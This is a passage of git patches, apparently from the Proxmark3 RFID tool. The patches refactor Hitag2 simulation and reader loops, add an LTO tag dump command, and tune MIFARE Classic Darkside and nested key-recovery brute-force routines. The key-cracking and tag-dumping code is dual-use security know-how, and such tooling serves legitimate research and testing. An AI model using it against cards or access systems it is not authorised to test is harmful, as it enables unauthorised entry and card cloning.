will fail. + if ((nrzs % 2) != 0) { + nrz_samples[nrzs++] = tag_modulation; + } + + LED_B_ON(); + + // decode bitstream + manrawdecode((uint8_t *)nrz_samples, &nrzs, true, 0); + + // Verify if the header consists of five consecutive ones + if (nrzs < 5) { + Dbprintf("Detected unexpected number of manchester decoded samples [%d]", nrzs); + continue; + } else { + for (size_t i = 0; i < 5; i++){ + if (nrz_samples[i] != 1) { + Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one", i); } } } + // Pack the response into a byte array + for (size_t i = 5; i < 37; i++){ + uint8_t bit = nrz_samples[i]; + rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); + rxlen++; + } + // Check if frame was captured if (rxlen > 4) { - // frame_count++; - LogTrace(rx, nbytes(rxlen), response, response, NULL, true); - // Disable timer 1 with external trigger to avoid triggers during our own modulation - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + LogTrace(rx, nbytes(rxlen), response, 0, NULL, true); // Process the incoming frame (rx) and prepare the outgoing frame (tx) hitag2_handle_reader_command(rx, rxlen, tx, &txlen); @@ -1183,11 +1234,15 @@ void SimulateHitag2(bool tag_mem_supplied, uint8_t *data) { // with respect to the falling edge, we need to wait actually (T_Wait1 - T_Low) // periods. The gap time T_Low varies (4..10). All timer values are in // terms of T0 units - while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * (HITAG_T_WAIT_1_MIN - HITAG_T_LOW)); + lf_wait_periods(200); // Send and store the tag answer (if there is any) if (txlen) { - hitag_send_frame(tx, txlen); + // Transmit the tag frame + //hitag_send_frame(tx, txlen); + lf_manchester_send_bytes(tx, txlen); + + // Store the frame in the trace LogTrace(tx, nbytes(txlen), 0, 0, NULL, false); } @@ -1195,37 +1250,22 @@ void SimulateHitag2(bool tag_mem_supplied, uint8_t *data) { memset(rx, 0x00, sizeof(rx)); response = 0; - // Enable and reset external trigger in timer for capturing future frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; LED_B_OFF(); } - // Reset the frame length - rxlen = 0; - // Save the timer overflow, will be 0 when frame was received - overflow += (AT91C_BASE_TC1->TC_CV / HITAG_T0); - // Reset the timer to restart while-loop that receives frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_SWTRG; } - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + lf_finalize(); // release allocated memory from BigBuff. BigBuf_free(); - StartTicks(); + DbpString("Sim stopped"); - DbpString("Sim Stopped"); +// reply_ng(CMD_LF_HITAG_SIMULATE, (checked == -1) ? PM3_EOPABORTED : PM3_SUCCESS, (uint8_t *)tag.sectors, tag_size); } void ReaderHitag(hitag_function htf, hitag_data *htd) { - StopTicks(); - - int frame_count = 0; uint32_t command_start = 0; uint32_t command_duration = 0; uint32_t response_start = 0; @@ -1261,9 +1301,8 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // this part will be unreadable memset(tag.sectors + 2, 0x0, 30); blocknr = 0; + break; } - break; - case RHT1F_AUTHENTICATE: { Dbprintf("Read all blocks in authed mode"); memcpy(nonce, htd->ht1auth.nonce, 4); @@ -1284,8 +1323,8 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { DbpString("Logdata_1:"); Dbhexdump(4, logdata_1, false); blocknr = 0; + break; } - break; case RHT2F_PASSWORD: { Dbprintf("List identifier in password mode"); if (memcmp(htd->pwd.password, "\x00\x00\x00\x00", 4) == 0) @@ -1334,17 +1373,17 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { default: { Dbprintf("Error, unknown function: %d", htf); set_tracing(false); - StartTicks(); return; } } LED_D_ON(); + // hitag2 state machine? hitag2_init(); // init as reader - lf_init(true); + lf_init(true, false); uint8_t attempt_count = 0; @@ -1379,24 +1418,34 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { size_t max_nrzs = (8 * HITAG_FRAME_LEN + 5) * 2; // up to 2 nrzs per bit uint8_t nrz_samples[max_nrzs]; size_t nrzs = 0; + int16_t checked = 0; - while (!bStop && !BUTTON_PRESS() && !data_available()) { + while (!bStop) { WDT_HIT(); + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (BUTTON_PRESS() || data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; + // By default reset the transmission buffer tx = txbuf; switch (htf) { case RHT1F_PLAIN: { bStop = !hitag_plain(rx, rxlen, tx, &txlen, false); + break; } - break; - case RHT1F_AUTHENTICATE: { bStop = !hitag1_authenticate(rx, rxlen, tx, &txlen); + break; } - break; - case RHT2F_PASSWORD: { bStop = !hitag2_password(rx, rxlen, tx, &txlen, false); break; @@ -1512,7 +1561,6 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // and to be able to overwrite the first samples with the trace (since they currently // still use the same memory space) if (txlen > 0) { - frame_count++; LogTrace(tx, nbytes(txlen), command_start, command_start + command_duration, NULL, true); } @@ -1543,7 +1591,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // Verify if the header consists of five consecutive ones if (nrzs < 5) { - //Dbprintf("Detected unexpected number of manchester decoded samples [%d]", nrzs); + Dbprintf("Detected unexpected number of manchester decoded samples [%d]", nrzs); break; } else { size_t i; @@ -1560,51 +1608,43 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { for (size_t i = 5; i < nrzs; i++) { uint8_t bit = nrz_samples[i]; if (bit > 1) { // When Manchester detects impossible symbol it writes "7" - //Dbprintf("Error in Manchester decoding, abort"); + Dbprintf("Error in Manchester decoding, abort"); break; } rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); rxlen++; } + if (rxlen % 8 == 1) // skip spurious bit rxlen--; // Check if frame was captured and store it if (rxlen > 0) { - frame_count++; -// if (bCollision){ -// // AC decoding hack -// fix_ac_decoding(rx, 64); -// rxlen = 32; -// } LogTrace(rx, nbytes(rxlen), response_start, response_start + response_duration, NULL, false); + // TODO when using cumulative time for command_start, pm3 doesn't reply anymore, e.g. on lf hitag read 23 4F4E4D494B52 - command_start = response_start + response_duration; -// command_start = 0; - // Dbhexdump(nbytes(rxlen), rx, false); +// Use delta time? +// command_start = response_start + response_duration; + command_start = 0; + nrzs = 0; } } out: lf_finalize(); - Dbprintf("TX/RX frames recorded: %u", frame_count); // release allocated memory from BigBuff. BigBuf_free(); - StartTicks(); if (bSuccessful) - reply_old(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, tag_size); + reply_mix(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, tag_size); else reply_mix(CMD_ACK, bSuccessful, 0, 0, 0, 0); } void WriterHitag(hitag_function htf, hitag_data *htd, int page) { - StopTicks(); - - int frame_count = 0; uint32_t command_start = 0; uint32_t command_duration = 0; uint32_t response_start = 0; @@ -1659,7 +1699,6 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { break; default: { Dbprintf("Error, unknown function: %d", htf); - StartTicks(); return; } break; @@ -1670,7 +1709,7 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { hitag2_init(); // init as reader - lf_init(true); + lf_init(true, false); // Tag specific configuration settings (sof, timings, etc.) if (htf < 10) { @@ -1704,7 +1743,19 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { uint8_t nrz_samples[max_nrzs]; size_t nrzs = 0; - while (!bStop && !BUTTON_PRESS() && !data_available()) { + int16_t checked = 0; + while (!bStop) { + + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (BUTTON_PRESS() || data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; WDT_HIT(); @@ -1731,7 +1782,7 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { // Transmit the reader frame command_duration = hitag_reader_send_frame(tx, txlen); - + response_start = command_start + command_duration; // Let the antenna and ADC values settle @@ -1814,7 +1865,6 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { // and to be able to overwrite the first samples with the trace (since they currently // still use the same memory space) if (txlen > 0) { - frame_count++; LogTrace(tx, nbytes(txlen), command_start, command_start + command_duration, NULL, true); } @@ -1872,8 +1922,6 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { // Check if frame was captured and store it if (rxlen > 0) { - frame_count++; - LogTrace(rx, nbytes(rxlen), response_start, response_start + response_duration, NULL, false); command_start = 0; } @@ -1882,11 +1930,9 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { out: lf_finalize(); - Dbprintf("TX/RX frames recorded: %u", frame_count); // release allocated memory from BigBuff. BigBuf_free(); - StartTicks(); - + reply_mix(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, tag_size); } From 60b444d5d83f1688b4a19352c2c2d8e714c17e09 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 29 Jan 2020 08:18:45 +0100 Subject: [PATCH 379/418] no inline --- armsrc/lfadc.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index 60044b6d8..a15aa429b 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -215,11 +215,11 @@ void lf_finalize() { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); - + sample_config *sc = getSamplingConfig(); sc->decimation = 1; sc->averaging = 0; - + StartTicks(); } @@ -260,7 +260,7 @@ size_t lf_detect_field_drop(size_t max) { return 0; } -inline void lf_modulation(bool modulation) { +void lf_modulation(bool modulation) { if (modulation) { HIGH(GPIO_SSC_DOUT); } else { @@ -269,7 +269,7 @@ inline void lf_modulation(bool modulation) { } // simulation -inline void lf_manchester_send_bit(uint8_t bit) { +static void lf_manchester_send_bit(uint8_t bit) { lf_modulation(bit != 0); lf_wait_periods(16); lf_modulation(bit == 0); From 996b41dce7e69b9ac83aa169a2b2946a877b8035 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 29 Jan 2020 15:16:50 +0100 Subject: [PATCH 380/418] chg: write serial port in window title (plot/slider) --- client/comms.c | 5 +++++ client/comms.h | 3 +++ client/proxgui.h | 7 +++++++ client/proxguiqt.cpp | 13 ++++++++++++- client/ui/overlays.ui | 2 +- 5 files changed, 28 insertions(+), 2 deletions(-) diff --git a/client/comms.c b/client/comms.c index 9b031eb9e..ce8223ba3 100644 --- a/client/comms.c +++ b/client/comms.c @@ -24,6 +24,8 @@ //#define COMMS_DEBUG //#define COMMS_DEBUG_RAW +uint8_t gui_serial_port_name[FILE_PATH_SIZE]; + // Serial port that we are communicating with the PM3 on. static serial_port sp = NULL; @@ -568,6 +570,9 @@ bool OpenProxmark(void *port, bool wait_for_port, int timeout, bool flash_mode, uint16_t len = MIN(strlen(portname), FILE_PATH_SIZE - 1); memset(conn.serial_port_name, 0, FILE_PATH_SIZE); memcpy(conn.serial_port_name, portname, len); + + memset(gui_serial_port_name, 0, FILE_PATH_SIZE); + memcpy(gui_serial_port_name, portname, len); } conn.run = true; conn.block_after_ACK = flash_mode; diff --git a/client/comms.h b/client/comms.h index eaf9a16c0..288e8a326 100644 --- a/client/comms.h +++ b/client/comms.h @@ -44,6 +44,7 @@ typedef enum { FPGA_MEM, } DeviceMemType_t; + typedef struct { bool run; // If TRUE, continue running the uart_communication thread bool block_after_ACK; // if true, block after receiving an ACK package @@ -60,6 +61,8 @@ typedef struct { extern communication_arg_t conn; +extern uint8_t gui_serial_port_name[FILE_PATH_SIZE]; + void *uart_receiver(void *targ); void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); diff --git a/client/proxgui.h b/client/proxgui.h index c4adbeb01..8e0868b12 100644 --- a/client/proxgui.h +++ b/client/proxgui.h @@ -18,6 +18,7 @@ extern "C" { #include #include #include +//#include "comms.h" void ShowGraphWindow(void); void HideGraphWindow(void); @@ -55,6 +56,12 @@ extern size_t g_DemodStartIdx; extern bool showDemod; extern uint8_t g_debugMode; + +#ifndef FILE_PATH_SIZE +#define FILE_PATH_SIZE 1000 +#endif +extern uint8_t gui_serial_port_name[FILE_PATH_SIZE]; + #ifdef __cplusplus } #endif diff --git a/client/proxguiqt.cpp b/client/proxguiqt.cpp index 6bf99f5a1..a481f31d2 100644 --- a/client/proxguiqt.cpp +++ b/client/proxguiqt.cpp @@ -197,11 +197,22 @@ ProxWidget::ProxWidget(QWidget *parent, ProxGuiQT *master) : QWidget(parent) { QVBoxLayout *layout = new QVBoxLayout; layout->addWidget(plot); setLayout(layout); - show(); // places the window on the screen. + + // plot window title + QString pt = QString("[*]Plot [ %1 ]").arg((char*)gui_serial_port_name); + setWindowTitle(pt); + + // shows plot window on the screen. + show(); // Move controller widget below plot controlWidget->move(x(), y() + frameSize().height()); controlWidget->resize(size().width(), 200); + + // Olverlays / slider window title + QString ct = QString("[*]Slider [ %1 ]").arg((char*)gui_serial_port_name); + controlWidget->setWindowTitle(ct); + controlWidget->show(); } diff --git a/client/ui/overlays.ui b/client/ui/overlays.ui index 7cc9043e7..a262e5b93 100644 --- a/client/ui/overlays.ui +++ b/client/ui/overlays.ui @@ -11,7 +11,7 @@ - Overlays + Sliders From b2f368c2c198f9eece32f92c3906b40e09d02003 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 29 Jan 2020 15:18:50 +0100 Subject: [PATCH 381/418] textual --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index ca80d078f..a9f5c51a1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Change `data plot` - write serial port name in window title for plot / slider window (@iceman1001) - Added `hf lto wrbl` - write block support for LTO Cartridge memory (@Kevin-Nakamoto) - Fix compilation under openSUSE (@hsanjuan) - Added `lf nexwatch sim` - use raw hex to simulate (@iceman1001) From 9448ec40523cae5ec57fa9bd247b4b3385910cce Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 29 Jan 2020 17:26:08 +0100 Subject: [PATCH 382/418] hitagstuff --- armsrc/lfadc.c | 10 ++++++---- armsrc/lfadc.h | 3 +++ 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index a15aa429b..04f293e1d 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -60,7 +60,6 @@ size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { // only every 100th times, in order to save time when collecting samples. if (checked == 1000) { if (data_available()) { - checked = -1; break; } else { checked = 0; @@ -77,7 +76,7 @@ size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { if (logging) logSampleSimple(adc_val); // Only test field changes if state of adc values matter - if (!wait) { + if (wait == false) { // Test if we are locating a field modulation (100% ASK = complete field drop) if (detect_gap) { // Only return when the field completely dissapeared @@ -132,6 +131,9 @@ void lf_reset_counter() { bool lf_get_tag_modulation() { return (rising_edge == false); } +bool lf_get_reader_modulation() { + return rising_edge; +} void lf_wait_periods(size_t periods) { lf_count_edge_periods_ex(periods, true, false); @@ -228,11 +230,11 @@ size_t lf_detect_field_drop(size_t max) { volatile uint8_t adc_val; int16_t checked = 0; - while (true) { + while (!BUTTON_PRESS()) { // only every 1000th times, in order to save time when collecting samples. if (checked == 1000) { - if (BUTTON_PRESS() || data_available()) { + if (data_available()) { checked = -1; break; } else { diff --git a/armsrc/lfadc.h b/armsrc/lfadc.h index d394916ea..8c33aa778 100644 --- a/armsrc/lfadc.h +++ b/armsrc/lfadc.h @@ -21,7 +21,10 @@ bool lf_test_periods(size_t expected, size_t count); size_t lf_count_edge_periods(size_t max); size_t lf_detect_gap(size_t max); void lf_reset_counter(); + bool lf_get_tag_modulation(); +bool lf_get_reader_modulation(); + void lf_wait_periods(size_t periods); //void lf_init(bool reader); void lf_init(bool reader, bool simulate); From e25300843e23c662f41d394edf885a04eb4ffddc Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 29 Jan 2020 17:30:42 +0100 Subject: [PATCH 383/418] chg: fchk/chk keys - tiny bit faster --- armsrc/mifareutil.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index e115e965f..b0bf532b0 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -194,8 +194,8 @@ int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockN uint32_t save_timeout = iso14a_get_timeout(); // set timeout for authentication response - if (save_timeout > 106) - iso14a_set_timeout(106); + if (save_timeout > 103) + iso14a_set_timeout(103); // Receive 4 byte tag answer len = ReaderReceive(receivedAnswer, receivedAnswerPar); From d5b21cbdd969e269f30014d7f30c2972a8f6807f Mon Sep 17 00:00:00 2001 From: Kevin-Nakamoto Date: Wed, 29 Jan 2020 13:38:24 -0500 Subject: [PATCH 384/418] added hf lto dump --- CHANGELOG.md | 1 + client/cmdhflto.c | 97 ++++++++++++++++++++++++++++++++++++++++------- client/cmdhflto.h | 1 + 3 files changed, 86 insertions(+), 13 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a9f5c51a1..828538e8d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `hf lto dump` - dump 8160 bytes of data from LTO cartridge memory and save to file (@Kevin-Nakamoto) - Change `data plot` - write serial port name in window title for plot / slider window (@iceman1001) - Added `hf lto wrbl` - write block support for LTO Cartridge memory (@Kevin-Nakamoto) - Fix compilation under openSUSE (@hsanjuan) diff --git a/client/cmdhflto.c b/client/cmdhflto.c index b717eab46..d38cfdf25 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -20,6 +20,9 @@ #include "ui.h" #include "cmdhf14a.h" #include "protocols.h" +#include "fileutils.h" //saveFile + +#define CM_MEM_MAX_SIZE 0x1FE0 // (32byte/block * 255block = 8160byte) static int CmdHelp(const char *Cmd); @@ -58,6 +61,17 @@ static int usage_lto_wrbl(void) { return PM3_SUCCESS; } +static int usage_lto_dump(void) { + PrintAndLogEx(NORMAL, "Usage: hf lto dump [h|p] f "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " f file name"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf lto dump f myfile"); + return PM3_SUCCESS; +} + static void lto_switch_off_field(void) { SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0); } @@ -386,7 +400,7 @@ static int CmdHfLTOWriteBlock(const char *Cmd) { break; } } - + //Validations if (errors) { usage_lto_wrbl(); @@ -399,20 +413,60 @@ static int CmdHfLTOWriteBlock(const char *Cmd) { return wrblLTO(blk, blkData, true); } -/* +int dumpLTO(uint8_t *serial_number, uint8_t serial_len, uint8_t *dump, bool verbose) { + + clearCommandBuffer(); + lto_switch_on_field(); + + uint8_t type_info[2]; + int ret_val = lto_select(serial_number, serial_len, type_info, verbose); + + if (ret_val != PM3_SUCCESS) { + lto_switch_off_field(); + return ret_val; + } + + uint8_t block_data_d00_d15[18]; + uint8_t block_data_d16_d31[18]; + + for(uint8_t i = 0; i < 255; i++) { + + ret_val = lto_rdbl(i, block_data_d00_d15, block_data_d16_d31, verbose); + + if (ret_val == PM3_SUCCESS) { + //Remove CRCs + for (int t = 0; t < 16; t++) { + dump[t + i * 32] = block_data_d00_d15[t]; + dump[t + i * 32 + 16] = block_data_d16_d31[t]; + } + } else { + lto_switch_off_field(); + return ret_val; + } + } + + lto_switch_off_field(); + return ret_val; +} + static int CmdHfLTODump(const char *Cmd) { uint8_t cmdp = 0; bool errors = false; - uint8_t blk = 128; + uint32_t dump_len = CM_MEM_MAX_SIZE; + char filename[FILE_PATH_SIZE] = {0}; + uint8_t serial_number[5] = {0}; while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { switch (tolower(param_getchar(Cmd, cmdp))) { case 'h': return usage_lto_dump(); - case 'b': - blk = param_get8(Cmd, cmdp+1); - b_opt_selected = true; + case 'f': + if (param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE) >= FILE_PATH_SIZE) { + PrintAndLogEx(FAILED, "filename too long"); + errors = true; + break; + } cmdp += 2; break; default: @@ -428,19 +482,36 @@ static int CmdHfLTODump(const char *Cmd) { return PM3_EINVARG; } -// alloc memory -// loop all blocks -// save to file -// free memory + // alloc memory + uint8_t *dump = calloc(dump_len, sizeof(uint8_t)); + if (!dump) { + PrintAndLogEx(ERR, "error, cannot allocate memory"); + return PM3_EMALLOC; + } + + // loop all blocks + int ret_val = dumpLTO(serial_number, sizeof(serial_number), dump, true); + if (ret_val != PM3_SUCCESS) { + free(dump); + return ret_val; + } + + // save to file + if (filename[0] == '\0') { + memcpy(filename, sprint_hex_inrow(serial_number, sizeof(serial_number)), sizeof(serial_number) * 2); + } + saveFile(filename, ".bin", dump, dump_len); + saveFileEML(filename, dump, dump_len, 32); + + // free memory + free(dump); return PM3_SUCCESS; } -*/ - static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, -// {"dump", CmdHfLTDump, IfPm3Iso14443a, "Dump LTO-CM tag to file"}, + {"dump", CmdHfLTODump, IfPm3Iso14443a, "Dump LTO-CM tag to file"}, // {"restore", CmdHfLTRestore, IfPm3Iso14443a, "Restore dump file to LTO-CM tag"}, {"info", CmdHfLTOInfo, IfPm3Iso14443a, "Tag information"}, {"rdbl", CmdHfLTOReadBlock, IfPm3Iso14443a, "Read block"}, diff --git a/client/cmdhflto.h b/client/cmdhflto.h index bc35d4378..2b771f0d8 100644 --- a/client/cmdhflto.h +++ b/client/cmdhflto.h @@ -14,6 +14,7 @@ #include "common.h" int infoLTO(bool verbose); +int dumpLTO(uint8_t *serial_number, uint8_t serial_len, uint8_t *dump, bool verbose); int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose); int wrblLTO(uint8_t blk, uint8_t *data, bool verbose); int CmdHFLTO(const char *Cmd); From 833bed7768d7a82297bde815057094e5b45cdbec Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Wed, 29 Jan 2020 23:19:05 +0200 Subject: [PATCH 385/418] rdp false (+8 squashed commit) Squashed commit: [eb50dade] null err too [f2a413e0] add null [5a38073e] check [efa602f7] MAYBE_FIRST_START [5ab8cc1f] gcc make [7c4aed4d] pacman suu [5e2efdf7] install make [9d22d09c] tst --- appveyor.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/appveyor.yml b/appveyor.yml index a817ff1ac..5070438c9 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -141,6 +141,10 @@ clone_script: ExecUpdate "update1" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2" ExecUpdate "update2" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2" + + bash -c -i 'pacman -S mingw-w64-i686-readline mingw-w64-i686-gcc git make pkg-config mingw-w64-i686-qt5 --noconfirm' 2>&1>$null + + bash -c -i 'pacman -Suu --noconfirm' 2>&1>$null Write-Host "Update " -NoNewLine From 01560dda8194d0726e535d01204ea0e8f0f32cfc Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 30 Jan 2020 09:20:10 +0100 Subject: [PATCH 386/418] textual --- client/mifare/mifarehost.c | 61 +++++++++++++++++++++++--------------- 1 file changed, 37 insertions(+), 24 deletions(-) diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 3586db8df..31085a629 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -34,10 +34,10 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { bool first_run = true; // message - PrintAndLogEx(NORMAL, "--------------------------------------------------------------------------------\n"); - PrintAndLogEx(NORMAL, "executing Darkside attack. Expected execution time: 25sec on average"); - PrintAndLogEx(NORMAL, "press pm3-button on the Proxmark3 device to abort both Proxmark3 and client."); - PrintAndLogEx(NORMAL, "--------------------------------------------------------------------------------\n"); + PrintAndLogEx(INFO, "--------------------------------------------------------------------------------\n"); + PrintAndLogEx(INFO, "executing Darkside attack. Expected execution time: 25sec on average"); + PrintAndLogEx(INFO, "press pm3-button on the Proxmark3 device to abort both Proxmark3 and client."); + PrintAndLogEx(INFO, "--------------------------------------------------------------------------------\n"); while (true) { clearCommandBuffer(); @@ -288,9 +288,17 @@ int mfCheckKeys_file(uint8_t *destfn, uint64_t *key) { uint8_t retry = 10; while (!WaitForResponseTimeout(CMD_HF_MIFARE_CHKKEYS, &resp, 2000)) { + + //flush queue + while (kbd_enter_pressed()) { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + return PM3_EOPABORTED; + } + retry--; - if (retry ==0) { + if (retry == 0) { PrintAndLogEx(WARNING, "Chk keys file, timeouted"); + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); return PM3_ETIMEOUT; } } @@ -536,11 +544,11 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, return -5; } - float bruteforce_per_second = (float)KEYS_IN_BLOCK / (float)(msclock() - start_time) * 1000.0; - start_time = msclock(); + uint64_t t2 = msclock(); + float bruteforce_per_second = (float)KEYS_IN_BLOCK / (float)(t2 - start_time) * 1000.0; if ( i + 1 % 10 == 0) - PrintAndLogEx(INFO, " %8d/%u keys | %5.1f keys/sec | worst case %6.1f seconds remaining", i, keycnt , bruteforce_per_second, (keycnt-i) / bruteforce_per_second); + PrintAndLogEx(INFO, " %6d/%u keys | %5.1f keys/sec | worst case %6.1f seconds remaining", i, keycnt , bruteforce_per_second, (keycnt-i) / bruteforce_per_second); } @@ -643,8 +651,8 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl uint64_t key64 = -1; // The list may still contain several key candidates. Test each of them with mfCheckKeys - uint32_t maxkeysinblock = IfPm3Flash() ? 1600 : KEYS_IN_BLOCK; - uint32_t max_keys_slice = keycnt > maxkeysinblock ? maxkeysinblock : keycnt; + uint32_t maxkeysinblock = IfPm3Flash() ? 1000 : KEYS_IN_BLOCK; + uint32_t max_keys_chunk = keycnt > maxkeysinblock ? maxkeysinblock : keycnt; uint8_t *mem = calloc( (maxkeysinblock * 6) + 5, sizeof(uint8_t)); if (mem == NULL) { @@ -656,22 +664,27 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl mem[0] = statelists[0].keyType; mem[1] = statelists[0].blockNo; mem[2] = 1; - mem[3] = ((maxkeysinblock >> 8) & 0xFF); - mem[4] = (maxkeysinblock & 0xFF); + mem[3] = ((max_keys_chunk >> 8) & 0xFF); + mem[4] = (max_keys_chunk & 0xFF); uint8_t destfn[32]; strncpy((char*)destfn, "static_nested_000.bin", sizeof(destfn) - 1); - for (uint32_t i = 0; i < keycnt; i += max_keys_slice) { + uint64_t start_time = msclock(); + for (uint32_t i = 0; i < keycnt; i += max_keys_chunk) { + + //flush queue + while (kbd_enter_pressed()) { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + return PM3_EOPABORTED; + } int res = 0; - uint64_t start_time = msclock(); - key64 = 0; - uint32_t size = keycnt - i > max_keys_slice ? max_keys_slice : keycnt - i; + uint32_t chunk = keycnt - i > max_keys_chunk ? max_keys_chunk : keycnt - i; // copy x keys to device. - for (uint32_t j = 0; j < size; j++) { + for (uint32_t j = 0; j < chunk; j++) { crypto1_get_lfsr(statelists[0].head.slhead + i + j, &key64); num_to_bytes(key64, 6, p_keyblock + j * 6); } @@ -679,7 +692,7 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl // check a block of generated candidate keys. if (IfPm3Flash()) { // upload to flash. - res = flashmem_spiffs_load(destfn, mem, 5 + (size * 6) ); + res = flashmem_spiffs_load(destfn, mem, 5 + (chunk * 6) ); if (res != PM3_SUCCESS) { PrintAndLogEx(WARNING, "SPIFFS upload failed"); return res; @@ -687,7 +700,7 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl res = mfCheckKeys_file(destfn, &key64); } else { - res = mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, mem, &key64); + res = mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, chunk, mem, &key64); } if (res == PM3_SUCCESS) { @@ -703,14 +716,14 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl sprint_hex_inrow(resultKey, 6) ); return PM3_SUCCESS; - } else if (res == PM3_ETIMEOUT) { + } else if (res == PM3_ETIMEOUT || res == PM3_EOPABORTED) { return res; } - float bruteforce_per_second = (float)maxkeysinblock / (float)(msclock() - start_time) * 1000.0; - start_time = msclock(); - - PrintAndLogEx(INFO, "Chunk %8u/%u keys | %5.1f keys/sec | worst case %6.1f seconds remaining", i, keycnt, bruteforce_per_second, (keycnt-i) / bruteforce_per_second); +// if (i%10 == 0) { + float bruteforce_per_second = (float)i + 